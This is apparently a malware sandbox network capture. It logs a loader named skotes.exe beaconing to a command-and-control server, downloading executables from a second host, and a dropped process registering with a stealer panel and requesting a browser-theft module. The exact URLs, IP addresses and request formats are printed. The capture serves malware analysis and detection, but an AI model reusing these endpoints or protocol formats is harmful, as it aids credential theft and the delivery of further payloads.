Nov 18, 2024 21:11:42.327289104 CET	1.1.1.1	192.168.2.4	0x634b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:11:49.303144932 CET	1.1.1.1	192.168.2.4	0x9ae5	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:11:49.949415922 CET	1.1.1.1	192.168.2.4	0x570c	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:11:49.949415922 CET	1.1.1.1	192.168.2.4	0x570c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:12:10.910125971 CET	1.1.1.1	192.168.2.4	0x590c	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:12:10.910125971 CET	1.1.1.1	192.168.2.4	0x590c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49768	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:03.987413883 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:04:04.928204060 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49780	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:06.444463015 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:04:07.397151947 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 37 32 32 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 32 33 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 32 33 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 32 33 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 1c5 <c>1007229001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007230001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007231001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007232001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1007233001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49786	185.215.113.16	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:07.408153057 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 21:04:08.328113079 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:08 GMT Content-Type: application/octet-stream Content-Length: 1883136 Last-Modified: Mon, 18 Nov 2024 19:17:34 GMT Connection: keep-alive ETag: "673b92ce-1cbc00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 00 60 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4a 00 00 04 00 00 da bd 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELr;g`J@J@\ppq P^@.rsrc `n@.idata pn@ *p@gfsnpvyd0 0$r@cievrdhiPJ@.taggant0`J"@
Nov 18, 2024 21:04:08.328154087 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:08.328183889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:08.328232050 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:08.328248024 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:08.328428984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:08.328510046 CET	1236	IN	Data Raw: 7e 7b 37 4e 3e fa d1 ca 1d 42 a5 de 7f c7 ae 8d 14 16 02 7b be 30 d4 44 ca 3b 31 62 6b 32 c1 52 ac b8 f6 23 ff f6 1e 0e 51 88 63 b2 81 80 ee 8b 35 33 a1 9e ec dc 9f e8 d6 de 79 bd 2e 3f 90 6e b5 db aa 14 03 54 ed 58 66 4c d0 12 49 4b 95 82 a5 6a Data Ascii: ~{7N>B{0D;1bk2R#Qc53y.?nTXfLIKj4sInRQ2%>92r[CitvwXpRfqBs&7cMT:W nQm;=-`6eU 6g7`qWD~aRyrihi7iuEW
Nov 18, 2024 21:04:08.328526974 CET	1236	IN	Data Raw: c4 9c 07 e8 b0 ea da c8 b3 7e 5f 6a 3c d7 cc 14 c7 7a 63 6d d2 d8 f3 f0 59 b5 00 51 9b d8 a2 0c b2 1e 77 76 11 8d 18 4b 7a c4 59 9e 09 62 50 cc e5 7a b6 41 5b 88 5d 7a f2 66 1c 8b 65 16 5c 8f 69 69 5c 45 71 f7 b0 9c 42 1f 0d 45 57 46 77 25 70 68 Data Ascii: ~_j<zcmYQwvKzYbPzA[]zfe\ii\EqBEWFw%phNjM^5QXW0j}nq<@O-d1rT:g%icD3\ma`2zA`ASmhMmnTZws5,k02U
Nov 18, 2024 21:04:08.328552008 CET	1236	IN	Data Raw: 17 b6 8d e3 35 76 9a d1 ab d0 0b 39 22 41 5e 10 53 fe ee 4b 55 04 26 c3 5e 35 f7 5a 71 1e b8 49 dd 28 5d 4a fd 20 0f 6f 70 01 9b 26 22 53 c5 a5 4e 85 06 2d 9e e3 05 17 51 8f 65 03 84 cb de 7c 88 29 7a 05 d0 8a 96 80 13 c0 f6 e1 a2 8d 5e df b6 49 Data Ascii: 5v9"A^SKU&^5ZqI(]J op&"SN-Qe\|)z^I_?8F?C";v)mM`(xO~9e\|_FIqh[ZG}rhLGH^6Q)e0ZN?R0rBuq9}k~=M5Ddq;1"O'
Nov 18, 2024 21:04:08.328567982 CET	1236	IN	Data Raw: b7 51 1c a7 f9 ca 97 7a b7 0a a5 bf a9 4e 8c b1 e1 bc 76 45 77 70 9b d2 12 aa 63 ef ac e6 c3 c3 55 0b 49 90 e0 64 d8 b8 69 b7 05 98 eb 7a 5e e1 52 cb ba b2 69 f3 a8 d3 67 66 dc c1 4b f7 dc d2 78 70 97 cb 82 1f 54 45 f5 78 bf 31 2c 1a 21 16 67 00 Data Ascii: QzNvEwpcUIdiz^RigfKxpTEx1,!gUbN#X3GD.f),[eLXQZRRMCjjZDkVcG4]AIXyO_/= cEI_tpt>XnLm,US9LaDQ\|eZ0lq[')NyuVIU
Nov 18, 2024 21:04:08.333163977 CET	1236	IN	Data Raw: 09 d1 42 5b 56 1b a3 19 50 0b f7 80 53 e4 5e fe af 1c 9c c9 6d 56 12 b2 0c 95 f9 28 72 2c 65 06 7b 26 dc 85 4e 3b 2e 16 b6 5f 67 50 db 90 eb c1 de 53 19 cf 4b fa d9 c4 32 7e fb cd 5b 78 34 f7 0e 77 4b 37 f4 a2 64 d0 31 8a ea bf d3 06 45 f1 6d 3a Data Ascii: B[VPS^mV(r,e{&N;._gPSK2~[x4wK7d1Em:+rpePBtPfY"yDvdmM-E.qhr!DQ4C2-Z!61&PUNyr6n6Pw2T8WToeHME#sidtaX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49811	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:11.743136883 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 32 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007229001&unit=246122658369
Nov 18, 2024 21:04:12.884649038 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49818	185.215.113.16	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:12.974416971 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 21:04:14.168648005 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:13 GMT Content-Type: application/octet-stream Content-Length: 1835008 Last-Modified: Mon, 18 Nov 2024 19:17:41 GMT Connection: keep-alive ETag: "673b92d5-1c0000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 b0 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 6a 00 00 04 00 00 af f3 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g"j@j@M$a$$ $b@.rsrc$r@.idata $t@ p+$v@hduvedpjp0Pbx@ypanfstxj@.taggant0j"@
Nov 18, 2024 21:04:14.169358015 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:14.169400930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:14.171881914 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:14.171916962 CET	1236	IN	Data Raw: eb 28 c5 94 31 0b fa 19 f9 97 3d 0f 76 80 62 4c ec 85 3b f7 b1 e2 20 ba 51 7f 7e f8 1d 28 f1 1f c1 08 a0 18 7f eb 8d f9 3e b5 fe 64 ee 84 38 c0 99 1e 41 48 51 83 14 82 58 88 4a fc 8e 78 a4 89 d9 b9 1c 59 61 dd 88 fb 33 33 36 f7 cf 9e 50 9f 59 90 Data Ascii: (1=vbL; Q~(>d8AHQXJxYa336PY;CmTy4c2R_MAOqW o]"Is#P-Cp:,^r,{I_?9n=`i$KwlMWYr_PL QlWUp(`i}62Ze(
Nov 18, 2024 21:04:14.175760031 CET	1236	IN	Data Raw: e7 27 38 b9 30 80 6a 81 af 13 26 8f a2 6b 8d f1 e2 92 7c 49 f0 e0 81 34 b1 c1 b0 f1 97 8f 08 9f 3f 91 12 14 3f f4 2b 82 ac 22 3b fc 18 b2 d6 a1 12 ab 09 0f 70 62 08 d7 7c 33 fa 70 d7 4a 2f 09 a2 fd 8a 7e 55 27 a7 60 18 14 ca db 4f 34 b1 68 10 49 Data Ascii: '80j&k\|I4??+";pb\|3pJ/~U'`O4hI)P#I[xHR<V%IYCGbkUR?2^aQ&d,"KzGq'{A`9AP;tu12en%sd5(QsG[n$N
Nov 18, 2024 21:04:14.175812960 CET	1236	IN	Data Raw: 51 38 5b 5d 88 68 28 65 17 58 12 9f b1 68 fe 96 0d d4 0c 21 11 72 59 a1 b1 90 10 5b dd 80 d0 64 55 c9 f9 23 a1 59 5a 98 1d ce 09 f5 fa 48 03 7f c1 94 8c c9 bd 3f b8 67 eb 53 30 17 dd 92 80 c8 a9 3f d2 69 d2 48 fc 7e 79 94 e0 c9 41 d4 01 38 1c aa Data Ascii: Q8[]h(eXh!rY[dU#YZH?gS0?iH~yA8AFQfyT#K07F GLfPQG~@4!Vh71QFtiUJ;?@#LFo;ZiIox78;Qdkx;ZxAN@
Nov 18, 2024 21:04:14.178086042 CET	1236	IN	Data Raw: 5b 79 b9 94 d4 ad d1 c3 e7 64 9a 95 5d ce ec e1 fc 12 d0 57 d3 46 c8 23 d9 c9 50 34 1d 39 8c 85 51 46 74 64 cd 48 40 4e 10 53 36 2f 51 46 d0 63 2d 72 91 bf d2 94 07 23 ae 48 01 ff 1e bc 91 c3 c9 86 52 af 41 46 10 97 fc c8 54 1b 69 7a 7c d1 e7 68 Data Ascii: [yd]WF#P49QFtdH@NS6/QFc-r#HRAFTiz\|hFL[hH\|cifL&479`[!rk3ihW9Zc<#1F#HZlrrFL?F*7ZD(j]utDdJhH
Nov 18, 2024 21:04:14.178122997 CET	1236	IN	Data Raw: b8 f1 fe 32 ff 0c 0a 19 ed 72 8f 5c d1 fb 01 97 99 d4 70 1c 11 97 84 81 f5 ec 5c 20 19 f4 03 a5 f9 9f af 98 af 73 78 4f eb 91 80 c9 d1 92 45 b3 53 9a 10 95 29 8d 30 21 69 65 7e a1 2c 30 ff 96 4d ca f0 77 ec 6f d1 23 51 63 46 8f 88 68 70 69 f5 49 Data Ascii: 2r\p\ sxOES)0!ie~,0Mwo#QcFhpiIcXxGIX@hhu(O"5c KAXTDL=QFPiumJ@}oAhZy@ ;Wq7AT.
Nov 18, 2024 21:04:14.179872036 CET	1236	IN	Data Raw: ec 12 ee a8 eb 44 4d c3 81 72 58 99 b9 b9 64 64 d0 64 5a 95 b5 3f f2 92 db 82 fd 18 51 80 54 92 11 c8 b0 93 0f 51 aa 65 ad d4 fc 82 1c f1 68 a4 0a 19 0b 1b ed a4 79 95 d9 48 90 63 cf 33 8d 97 52 a8 84 1f 6d 92 c0 1f fd 0d fb 92 d1 32 ff 96 8d d4 Data Ascii: DMrXdddZ?QTQehyHc3Rm2D=U~diFhTNe8r6hX_y@c7bQ$a,<Q$$V+%N^M[m*BOdL!PS?1ZQA
Nov 18, 2024 21:04:14.212897062 CET	1120	IN	Data Raw: 95 cf 7f 33 d7 40 3d 27 42 37 c0 ca 99 80 ed eb f6 a0 a8 a4 f1 4f 58 06 ab ef 48 f5 04 ff 7b b4 f9 f9 72 c5 b9 a6 4c c5 9a b7 9a 9e d4 a3 c0 b9 a4 24 59 f7 f7 52 e9 48 fb 21 46 0b f9 41 5c b2 cd e7 83 1c 13 f8 57 f5 4f ec f4 ab e4 78 90 e6 d4 f4 Data Ascii: 3@='B7OXH{rL$YRH!FA\WOxUewrbL:*9LPmVD^eiyZHcmLaCQi&Z3iE&"=r<D>KodbV.@ kt$<Tg5+Z3sXh'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49846	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:20.005315065 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 33 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007230001&unit=246122658369
Nov 18, 2024 21:04:20.919990063 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49845	185.215.113.206	80	7500	C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:20.005424976 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 21:04:20.912208080 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 21:04:20.914772987 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEHJJKFCAAFHJKFBKK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 42 39 35 44 38 45 46 39 43 39 33 37 34 30 31 30 35 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 2d 2d 0d 0a Data Ascii: ------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="hwid"3DB95D8EF9C93740105281------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="build"mars------HCAEHJJKFCAAFHJKFBKK--
Nov 18, 2024 21:04:21.207273960 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 54 51 77 4f 44 46 6b 4f 47 4a 69 4d 44 6b 35 4e 32 45 31 5a 44 51 7a 5a 47 45 7a 4e 32 55 7a 4e 47 56 6d 59 54 5a 6a 5a 44 46 6c 4f 54 55 77 4e 54 68 6a 4d 47 4a 6a 4e 44 52 68 4f 44 51 77 5a 6d 55 30 4d 44 49 35 4d 7a 56 69 4e 44 52 6a 5a 6a 41 33 5a 6a 41 78 59 57 55 33 4f 54 55 79 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OTQwODFkOGJiMDk5N2E1ZDQzZGEzN2UzNGVmYTZjZDFlOTUwNThjMGJjNDRhODQwZmU0MDI5MzViNDRjZjA3ZjAxYWU3OTUyfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 18, 2024 21:04:21.208314896 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJKEHCAKFBFHJKEHCFI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 34 30 38 31 64 38 62 62 30 39 39 37 61 35 64 34 33 64 61 33 37 65 33 34 65 66 61 36 63 64 31 65 39 35 30 35 38 63 30 62 63 34 34 61 38 34 30 66 65 34 30 32 39 33 35 62 34 34 63 66 30 37 66 30 31 61 65 37 39 35 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 49 2d 2d 0d 0a Data Ascii: ------JJJKEHCAKFBFHJKEHCFIContent-Disposition: form-data; name="token"94081d8bb0997a5d43da37e34efa6cd1e95058c0bc44a840fe402935b44cf07f01ae7952------JJJKEHCAKFBFHJKEHCFIContent-Disposition: form-data; name="message"browsers------JJJKEHCAKFBFHJKEHCFI--
